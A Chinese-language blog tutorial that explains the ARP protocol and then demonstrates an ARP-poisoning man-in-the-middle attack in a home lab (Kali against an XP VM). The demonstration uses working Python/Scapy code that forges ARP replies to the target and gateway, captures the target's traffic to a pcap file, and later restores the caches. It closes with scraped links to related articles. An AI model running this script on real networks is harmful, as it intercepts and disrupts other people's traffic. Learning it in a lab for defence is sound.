ARP:Address Resolution Protocol 地址解析协议。它是一个链路层的协议。工作在OSI模型的第二层。

由于以太网交换设备不能直接识别32位的IP地址。事实上它们都是以48位的MAC地址传输数据的,所以在工作时需要存在一种

MAC地址和IP地址的对应关系。而ARP协议就是用来确定这种关系的。

网络中所有的机器都包含ARP缓存,它存储了本地网络中最近时间的MAC地址和IP地址的对应关系。正常情况下当ARP工作时,

请求主机发出一个含有目标IP的以太网广播数据,然后目标IP会发出一个含有IP地址和对应MAC地址的应答包。这样请求主机

就能够获得一对IP地址和MAC地址,然后将这一组对应关系放入ARP缓存。ARP缓存表采用老化机制,一段时间内表中的某一行

不用就会被删除。

而对于一台局域网上的主机,如果收到一个ARP应答报文,即便它并没有发送请求报文或者并不是它目标IP的应答报文,该主机

也会将报文中的IP和MAC地址存入缓存。

如此,我们只要让被攻击的目标主机相信我们的MAC地址是网关的MAC地址。让目标主机的网关相信我们的MAC地址是被攻击的

目标主机的MAC,那么所有要发往目标主机的报文就会被发到我们的主机上。

灵魂作图时间

下面进行一次实践,攻击者为我的kali虚拟机,被攻击的为我的xp虚拟机

先看xp机的ip和ARP缓存

看好网关的MAC地址

下面是代码,来自Python黑帽子,并适当修改

    interface   = "eth0"target_ip   = "192.168.24.130"gateway_ip  = "192.168.24.2"packet_count= 1000

先设置网卡,目标IP,网关IP和包的数量

然后获取MAC

    gateway_mac = get_mac(gateway_ip)if gateway_mac is None:print "[!!!] Failed to get gateway MAC. Exiting"sys.exit(0)else:print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)target_mac = get_mac(target_ip)if target_mac is None:print "[!!!] Failed to get target MAC. Exiting"sys.exit(0)else:print "[*] Target %s is at %s" % (target_ip, target_mac)

get_mac函数

def get_mac(ip_address):responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2, retry=10)for s, r in responses:return r[Ether].srcreturn None

之后伪造ARP包,发送给网关和xp机

    poison_t       = ARP()poison_t.op    = 2poison_t.psrc  = gateway_ippoison_t.pdst  = target_ippoison_t.hwdst = target_macpoison_g       = ARP()poison_g.op    = 2poison_g.psrc  = target_ippoison_g.pdst  = gateway_ippoison_g.hwdst = gateway_macprint "[*] Beginning the ARP poison. [CTRL-C to stop]"while 1:try:send(poison_t)send(poison_g)time.sleep(2)except KeyboardInterrupt:restore_target(gateway_ip, gateway_mac, target_ip, target_mac)breakprint "[*] ARP poison attack finished."return

restore_target函数用于恢复MAC地址

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):print "[*] Restoring target..."send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5)

处理截获 的数据包

    print "[*] Starting sinffer for %d packet" % packet_countbpf_filter = "ip host %s" % target_ippackets = sniff(count=packet_count, filter=bpf_filter, iface=interface)wrpcap('arper.pcap', packets)

运行脚本


我们再看xp机的MAC地址


已经被修改了

打开网页试试


无法正常访问

关闭ARP攻击,恢复xp机的MAC


再看xp机的MAC值


已经恢复

可正常访问

可以查看到我们截获的报文

ARP攻击原理与实践相关推荐

  1. 图解ARP协议(二)ARP攻击原理与实践

    一.ARP攻击概述 在上篇文章里,我给大家普及了ARP协议的基本原理,包括ARP请求应答.数据包结构以及协议分层标准,今天我们继续讨论大家最感兴趣的话题:ARP攻击原理是什么?通过ARP攻击可以做什么 ...

  2. ARP攻击原理简析及防御措施

    0x1  简介 网络欺骗攻击作为一种非常专业化的攻击手段,给网络安全管理者,带来严峻的考验.网络安全的战场已经从互联网蔓延到用户内部的网络, 特别是局域网.目前利用ARP欺骗的木马病毒在局域网中广泛传 ...

  3. 亲,学会ARP攻击原理,请不要冲动

    网络层协议及ARP工作原理 网络层的功能 一.IP数据包格式 版本(version) 首部长度(Header Length) 优先级与服务类型(priority & Type of servi ...

  4. ARP攻击与防范实践

    1.ARP中间人攻击原理 攻击原理:攻击者利用ARP机制,让PC-A学习到IP-S与MAC-B的映射关系,又让Server学习到IP-A 与MAC-B的映射关系.如此一来,PC-A与Server之间交 ...

  5. ARP攻击原理及解决方法,很实用

    故障原因] 局域网内有人使用ARP欺骗的木马程序(比如:传奇盗号的软件,某些传奇外挂中也被恶意加载了此程序). [故障原理] 要了解故障原理,我们先来了解一下ARP协议. 在局域网中,通过ARP协议来 ...

  6. ARP攻击的原理与防范

    ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术.此种攻击可让攻击者取得局域网上的数据封包甚至可篡改封包,且可让网络上特定计算机或所有计算机无法正常连接.最早探讨ARP攻击的文章是由Yur ...

  7. 图解ARP协议(四)代理ARP原理与实践(“善意的欺骗”)

    一.代理ARP概述 我:当电脑要访问互联网上的服务器,目标MAC是什么? 很多小伙伴在刚学习网络协议的时候,经常这样直接回应:不就是服务器的MAC嘛! 这时我会反问:那电脑怎么拿到这个服务器的MAC地 ...

  8. 【网络安全】关于ARP攻击的原理以及在Kali Linux环境下的实现

    转自:https://www.cnblogs.com/rebrust/p/6096101.html 全文摘要 本文讲述内容分为两部分,前半部分讲述ARP协议及ARP攻击原理,后半部分讲述在Kali L ...

  9. ARP局域网断网攻击原理分析及演示

    ARP局域网断网攻击分析及演示 ARP断网攻击,是针对以太网地址解析协议(ARP)的一种攻击技术.此种攻击可让攻击者取得局域网上的数据封包甚至可篡改封包,且可让网络上特定计算机或所有计算机无法正常连接 ...

最新文章

  1. Nature替宠物正名了:宝宝身体好,猫狗或真不可少!
  2. 使用Vue时localhost:8080中localhost换成ip地址后无法显示页面的问题
  3. docker-compos
  4. python 多进程使用总结
  5. iOS计算输入字符数
  6. python代码编写规范有哪些_Python代码编写规范(适合于小团体,低强度)
  7. 【bzoj2820】YY的GCD 莫比乌斯反演
  8. Kafka基础系列第1讲:Kafka的诞生背景及应用
  9. $.each()和$().each(),以及forEach()的用法
  10. 获取元素在文档上的正确坐标
  11. c语言+游戏破解,c语言获得键盘的按键
  12. 在Microsoft Workflow Foundation中晃荡了两天
  13. Linux kernel路由机制分析(上)
  14. Linux学习-汇总
  15. 程序员的五种不同寻常的特质
  16. 利用StretchDIBits、CreateDIBSection、CreateDIBitmap三种方法显示内存位图
  17. 剑侠世界手游服务器维护公告,剑侠世界手游公告_剑侠世界手游开服公告_更新公告_安趣网...
  18. 触摸世界:10年前我写下这些诗歌,10年后我也不讨厌它们
  19. 网络会议openmeetings下的openmeetings-util文件分析3
  20. 解决DedeCMS搜索结果每页显示10条无法修改方法

热门文章

  1. ICESSL使用备忘
  2. 1-2BP神经网络--Keras实现
  3. ping pong buffer
  4. 屏幕小于6英寸的手机_来!推荐几款6英寸以内“小屏手机”给你
  5. 磁盘黑色未分配区域恢复成绿色逻辑分区
  6. linux新手入门及安装全攻略(转载)
  7. IOT设备情况数据分析
  8. 电脑公司GHOSTXP_SP3快速装机版V2013.1
  9. mysql选取除某一列的所有行_在 MySQL 中选择除了某一列以外的所有列
  10. 计算机行业除了编程还有什么工作可以选,计算机行业除了编程还有什么工作可以选?...